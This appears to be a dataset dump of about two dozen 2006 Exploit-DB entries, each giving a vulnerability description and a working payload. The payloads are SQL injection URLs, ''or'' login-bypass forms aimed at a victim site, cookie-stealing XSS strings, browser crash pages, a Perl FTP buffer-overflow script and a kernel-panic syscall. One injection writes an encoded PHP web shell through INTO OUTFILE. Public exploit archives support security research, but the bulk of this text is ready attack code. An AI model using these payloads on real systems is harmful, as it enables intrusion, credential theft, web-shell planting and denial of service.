QLWD/code_shield huggingface dataset:
标题: Microsoft Internet Explorer 6 - Frame Src Denial of Service EDB-ID: 29229 CVE: 2006-6310 类型: DOS 平台: WINDOWS 发布日期: 2006-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/21447/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions.

This issue is triggered when an attacker entices a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

<html> <frameset rows="1000%"> <frame src="?"> </html> URL: https://www.exploit-db.com/exploits/29229
标题: Link CMS - 'navigacija.php?IDMeniGlavni' SQL Injection EDB-ID: 29232 CVE: 2006-6387 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/21464/info

Link CMS is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.exemple.com/navigacija.php?IDMeniGlavni=[code]&IDStranicaPodaci=228&jezik=lat URL: https://www.exploit-db.com/exploits/29232
标题: Vt-Forum Lite 1.3 - 'vf_newtopic.asp' IFRAME Element Cross-Site Scripting EDB-ID: 29228 CVE: 2006-6447 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/21428/info
 
Vt-Forum Lite is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
The attacker may also be able to conduct HTML-injection attacks through unspecified fields on the 'vf_newtopic.asp' script page.
 
These issues affect version 1.3; other versions may also be vulnerable.

http://www.example.com/[scriptpath]/vf_newtopic.asp<iframe height=500 src="http://www.example2.com/yoursite.html"> URL: https://www.exploit-db.com/exploits/29228
标题: Microsoft Internet Explorer 7 - CSS Width Element Denial of Service EDB-ID: 29236 CVE: 2006-6311 类型: DOS 平台: WINDOWS 发布日期: 2006-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/21466/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions.

This issue is triggered when an attacker entices a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

Internet Explorer 6 and 7 are vulnerable to this issue; other versions may also be affected.

<html> <head> <title>Another non-standards compliant IE D.O.S.</title> </head> <body> <div id="foo" style="height: 20px; border: 1px solid blue"> <table style="border: 1px solid red; width: expression(parseInt(window.open(self.location))+document.getElementById('foo').offsetWidth+'px');"> <tr> <td> IE makes my life harder :(. It sucks, don't use it :). </td> </tr> </table> </div> Written by <a href="http://xiam.be">xiam</a>.<br /> Tested under IE 6.0.2900.2180 </body> </html> URL: https://www.exploit-db.com/exploits/29236
标题: Dol Storye - 'Dettaglio.asp' Multiple SQL Injections EDB-ID: 29231 CVE: 2006-6414 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/21463/info

The 'dol storye' application is prone to multiple SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/path_to_storye/dettaglio.asp?id_doc='[SQL code]
http://www.example.com/path_to_storye/dettaglio.asp?id_aut='[SQL code] URL: https://www.exploit-db.com/exploits/29231
标题: ac4p Mobile - 'up.php?Taaa' Cross-Site Scripting EDB-ID: 29225 CVE: 2006-6389 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/21427/info

Mobile is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/path/up.php?Taaa=[XSS] URL: https://www.exploit-db.com/exploits/29225
标题: Inside Systems Mail 2.0 - 'error.php' Cross-Site Scripting EDB-ID: 29223 CVE: 2006-6364 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/21424/info

Inside Systems Mail is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/<path_to_ismail>/error.php?error=XSS%20attack%3Cscript%3Ealert(document.cookie);%3C/script%3E URL: https://www.exploit-db.com/exploits/29223
标题: DUdownload 1.0/1.1 - 'detail.asp' Multiple SQL Injections EDB-ID: 29219 CVE: 2006-6367 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/21405/info

Multiple DuWare products are prone to multiple SQL-injection vulnerabilities because they fail to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/detail.asp?iPro=196&iType=[SQL Injection]
http://www.example.com/detail.asp?iNews=[SQL Injection]
http://www.example.com/detail.asp?iType=[SQL Injection]
http://www.example.com/detail.asp?iFile=[SQL Injection]
http://www.example.com/detail.asp?action=[SQL Injection] URL: https://www.exploit-db.com/exploits/29219
标题: BlueSocket BSC 2100 5.0/5.1 - Admin.pl Cross-Site Scripting EDB-ID: 29221 CVE: 2006-6363 类型: WEBAPPS 平台: CGI 发布日期: 2006-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/21419/info

BlueSocket BSC 2100 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects versions prior to 5.2 and versions without the 5.1.1-BluePatch fix.

https://www.example.com/admin.pl?ad_name=%22%3E%3Ch1%3EXSS%20BUG%3C/h1%3E%3C!-- URL: https://www.exploit-db.com/exploits/29221
标题: Metyus Okul Yonetim 1.0 - 'Sistemi Uye_giris_islem.asp' SQL Injection EDB-ID: 29220 CVE: 2006-6298 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/21418/info

Metyus Okul Yonetim Sistemi is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

<title>Remote Admin Attack - LiderHack.Org // Hacking & Security PortaL</title> <center>ShaFuck31 - LiderHack.Org</center> <FORM NAME=giris ACTION="http://victim.com/[path to script]/uye_giris_islem.asp" METHOD=post> <table align=center> <td>Kullanici Adi:</td><td><INPUT NAME=kullanici_ismi class="input" value="'or'" SIZE=15></td> </tr><tr> <td>Sifre:</td><td><INPUT NAME=sifre TYPE=text class="input" value="'or'" SIZE=15></td> </tr><tr> <td align=center colspan=2><BUTTON class="input" TYPE=submit>Giris</BUTTON></td> </tr></table></form> URL: https://www.exploit-db.com/exploits/29220
标题: Cerberus Helpdesk 2.x - 'Spellwin.php' Cross-Site Scripting EDB-ID: 29222 CVE: 2006-6366 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/21423/info

Cerberus Helpdesk is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/includes/elements/spellcheck/spellwin.php?pspell_loaded=1&js=<http://www.example2.com/cerberus/includes/elements/spellchec
k/spellwin.php?pspell_loaded=1&js=><script src=JS_FILE></script> URL: https://www.exploit-db.com/exploits/29222
标题: Vt-Forum Lite 1.3 - 'vf_info.asp?StrMes' Cross-Site Scripting EDB-ID: 29227 CVE: 2006-6447 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/21428/info

Vt-Forum Lite is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The attacker may also be able to conduct HTML-injection attacks through unspecified fields on the 'vf_newtopic.asp' script page.

These issues affect version 1.3; other versions may also be vulnerable.

http://www.example.com/[scriptpath]/vf_info.asp?StrMes=[xss] URL: https://www.exploit-db.com/exploits/29227
标题: ac4p Mobile - 'polls.php' Multiple Cross-Site Scripting Vulnerabilities (2) EDB-ID: 29226 CVE: 2006-6389 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/21427/info
 
Mobile is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/path/polls.php?pollhtml=[xss]
http://www.example.com/path/polls.php?Bloks=[Xss] URL: https://www.exploit-db.com/exploits/29226
标题: CuteNews 1.3.6 - 'result' Cross-Site Scripting EDB-ID: 29217 CVE: 2006-6300 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/21403/info

CuteNews is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.3.6; other versions may also be vulnerable.

http://www.example.com/[path-to-cutenews]/?result=[XSS] URL: https://www.exploit-db.com/exploits/29217
标题: Aspee Ziyaretci Defteri - 'giris.asp' Multiple Field SQL Injections EDB-ID: 29216 CVE: 2006-6337 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/21398/info

Aspee ZiyaretÃ§i Defteri is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

<title>Remote Admin Attack - LiderHack.Org // Hacking & Security PortaL</title> <center>ShaFuck31 - LiderHack.Org</center> <FORM NAME=giris ACTION="http://victim.com/[path to script]/giris.asp" METHOD=post> <table align=center> <td>Kullanici Adi:</td><td><INPUT NAME=kullanici class="input" value="'or'" SIZE=15></td> </tr><tr> <td>Sifre:</td><td><INPUT NAME=parola TYPE=text class="input" value="'or'" SIZE=15></td> </tr><tr> <td align=center colspan=2><BUTTON class="input" TYPE=submit>Giris</BUTTON></td> </tr></table></form> URL: https://www.exploit-db.com/exploits/29216
标题: PHPNews 1.3 - 'Link_Temp.php' Cross-Site Scripting EDB-ID: 29218 CVE: 2006-6356 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/21404/info

PHPNews is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect version 1.3.0; other versions may also be vulnerable.

http://www.example.com/[path-to-PHPNews]/templates/link_temp.php?url=">[XSS]
http://www.example.com/[path-to-PHPNews]/templates/link_temp.php?id=">[XSS]
http://www.example.com/[path-to-PHPNews]/templates/link_temp.php?subject=[XSS]
http://www.example.com/[path-to-PHPNews]/templates/link_temp.php?username=[XSS]
http://www.example.com/[path-to-PHPNews]/templates/link_temp.php?time=[XSS] URL: https://www.exploit-db.com/exploits/29218
标题: NetBSD 3.1 - 'FTPd / Tnftpd' Port Remote Buffer Overflow EDB-ID: 29204 CVE: 2006-6652 类型: DOS 平台: NETBSD_X86 发布日期: 2006-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/21377/info

NetBSD ftpd and tnftpd are prone to a remote buffer-overflow vulnerability. This issue is due to an off-by-one error; it allows attackers to corrupt memory.

Remote attackers may execute arbitrary machine code in the context of the user running the affected application. Failed attempts will likely result in denial-of-service conditions.

#!perl
# $$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$
#
# About
#
# tnftpd is a port of the NetBSD FTP server to other systems.
# It offers many enhancements over the traditional BSD ftpd,
# including per-class configuration directives via ftpd.conf(5),
# RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6,
# transfer rate throttling, and more.
# tnftpd was formerly known as lukemftpd,
# and earlier versions are present in Mac OS X 10.2 (as ftpd)
# and FreeBSD 5.0 (as lukemftpd).
#
# Description
#
# The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun,
# which can lead to a root compromise.
#
# The bug is in glob.c file. The globbing mechanism is flawed as back in
# 2001.
#
# To trigger the overflow you can create a folder and use the globbing
# special characters (like STARS) to overflow an internal stack based
buffer.
#
# gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 :
# (gdb) c
# Continuing.
#
# Program received signal SIGSEGV, Segmentation fault.
# 0x00410041 in ?? ()
# (gdb)
#
# tnftpd-20040810 behaves similar.
# FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested,
# however they could have the same bug, because of the same
# codebase.
#
# The problem when exploiting this kind of bug is,
# that we can only control 0x00410041, not the whole
# 32 bit. However it looks feasible to find a way
# to do a hole EIP redirection and/or exploit
# the bug the "unicode" way, which could be especially
# hard on BSD systems.
# kcope

use IO::Socket;

$sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10',
                             PeerPort => '21',
                             Proto    => 'tcp');
$c = "C";
$a = "C" x 255;
$d = "A" x 450;

print $sock "USER kcope\r\n";
print $sock "PASS remoteroot\r\n";
$x = ;
print $sock "MKD $a\r\n";
print $sock "NLST C*/../C*/../C*/../$d\r\n";
print $sock "QUIT\r\n";

while (<$sock>) {
       print;
} URL: https://www.exploit-db.com/exploits/29204
标题: DZCP (deV!L`z Clanportal) 1.3.6 - 'Show' SQL Injection EDB-ID: 29207 CVE: 2006-6339 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/21391/info

deV!Lz Clanportal is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue affects version 1.3.6; other versions may also be vulnerable.

http://www.example.com/index.php?show=-1'+%55NION+%53ELECT+1,+'Admin+Panel\',+level%3d4,+waffe%3d\'SQL+Injection',+2,+3,+' URL: https://www.exploit-db.com/exploits/29207
标题: b2evolution 1.8.2/1.9 - '_referer_spam.page.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29200 CVE: 2006-6197 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/21334/info
  
The b2evolution application is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
This issue affects b2evolution versions 1.8.2 to 1.9 beta.

http://<www.example.com>/<b2epath>/inc/VIEW/errors/_referer_spam.page.php?ReqURI=[XSS]&app_name=[XSS] URL: https://www.exploit-db.com/exploits/29200
标题: uPhotoGallery 1.1 - 'Slideshow.asp?ci' SQL Injection EDB-ID: 29195 CVE: 2006-6247 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21319/info

uPhotoGallery is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/slideshow.asp?img_id=290&ci=[SQL Injection] URL: https://www.exploit-db.com/exploits/29195
标题: b2evolution 1.8.2/1.9 - '_404_not_found.page.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29198 CVE: 2006-6197 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/21334/info

The b2evolution application is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects b2evolution versions 1.8.2 to 1.9 beta.

http://<www.example.com>/<b2epath>/inc/VIEW/errors/_404_not_found.page.php?baseurl=[XSS]&app_name=[XSS] URL: https://www.exploit-db.com/exploits/29198
标题: Apple Mac OSX 10.4.x - 'Shared_Region_Make_Private_Np' Kernel Function Local Memory Corruption EDB-ID: 29201 CVE: 2006-6173 类型: LOCAL 平台: OSX 发布日期: 2006-11-29 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/21349/info

Apple Mac OS X is prone to a local memory-corruption vulnerability. This issue occurs when the operating system fails to handle specially crafted arguments to a system call. 

Attackers may exploit this issue to cause a kernel panic, effectively denying further service to legitimate users. Due to the nature of this issue, successful exploits may potentially result in the execution of arbitrary machine code in the context of the affected kernel, but this has not been confirmed.

Mac OS X version 10.4.8 is vulnerable to this issue; other versions may also be affected.
*/


/*
 * Copyright 2006 (c) LMH <lmh@info-pull.com>.
 * All Rights Reserved.
 * ----           
 *               .---. .---. 
 *              :     : o   :    me want cookie and clues! L0W LEVA! - A 
J. H
 *          _..-:   o :     :-.._    / 
 *      .-''  '  `---' `---' "   ``-.    
 *    .'   "   '  "  .    "  . '  "  `. 
 *   :   '.---.,,.,...,.,.,.,..---.  ' ;
 *   `. " `.                     .' " .' kudos to ilja, kevin and icer.
 *    `.  '`.                   .' ' .'           "proof of concept" for
 *     `.    `-._           _.-' "  .'  .-------.       MOKB-28-11-2006.
 *       `. "    '"--...--"'  . ' .'  .'  · o   ·`.
 *       .'`-._'    " .     " _.-'`. :  C o C o A :
 *     .'      ```--.....--'''    ' `:_ o      o  :
 *   .'    "     '         "     "   ; `.;";";"; _'
 *  ;         '       "       '     . ; .' ; ; ;
 * ;     '         '       '   "    .'      .-'
 * '  "     "   '      "           "    _.-'
 */

#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>

int main() {
  /* shared_region_make_private_np = 300 (xnu-792.6.70), 
3rd arg unused */
        syscall(300, 0x8000000, 0xdeadface, 0xffffffff);
        return 0;
} URL: https://www.exploit-db.com/exploits/29201
标题: Evolve Shopping Cart - 'products.asp' SQL Injection EDB-ID: 29197 CVE: 2006-6207 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21323/info

Evolve Shopping Cart is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

UPDATE: The vendor indicates that the application is not vulnerable to this issue.

http://www.example.com/products.asp?partno=[sql] URL: https://www.exploit-db.com/exploits/29197
标题: Seditio1.10 / Land Down 8.0 Under - 'polls.php' SQL Injection EDB-ID: 29202 CVE: 2006-6343 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/21366/info

Seditio and Land Down Under are prone to an SQL-injection vulnerability because the applications fail to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the applications, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue affects Seditio version 1.10 and Land Down Under versions 8.x; other versions may also be vulnerable.

http://www.example.com/polls.php?id='union%20select%200,0,0,0,char(60,63,105,110,99,108,117,100,101,40,36,99,109,100,41,59,63,62)%20from%20sed_users%20INTO%20OUTFILE%20'[path]/.php'/* URL: https://www.exploit-db.com/exploits/29202
标题: uPhotoGallery 1.1 - 'thumbnails.asp?ci' SQL Injection EDB-ID: 29196 CVE: 2006-6247 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21319/info
 
uPhotoGallery is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/thumbnails.asp?ci=[SQL Injection] URL: https://www.exploit-db.com/exploits/29196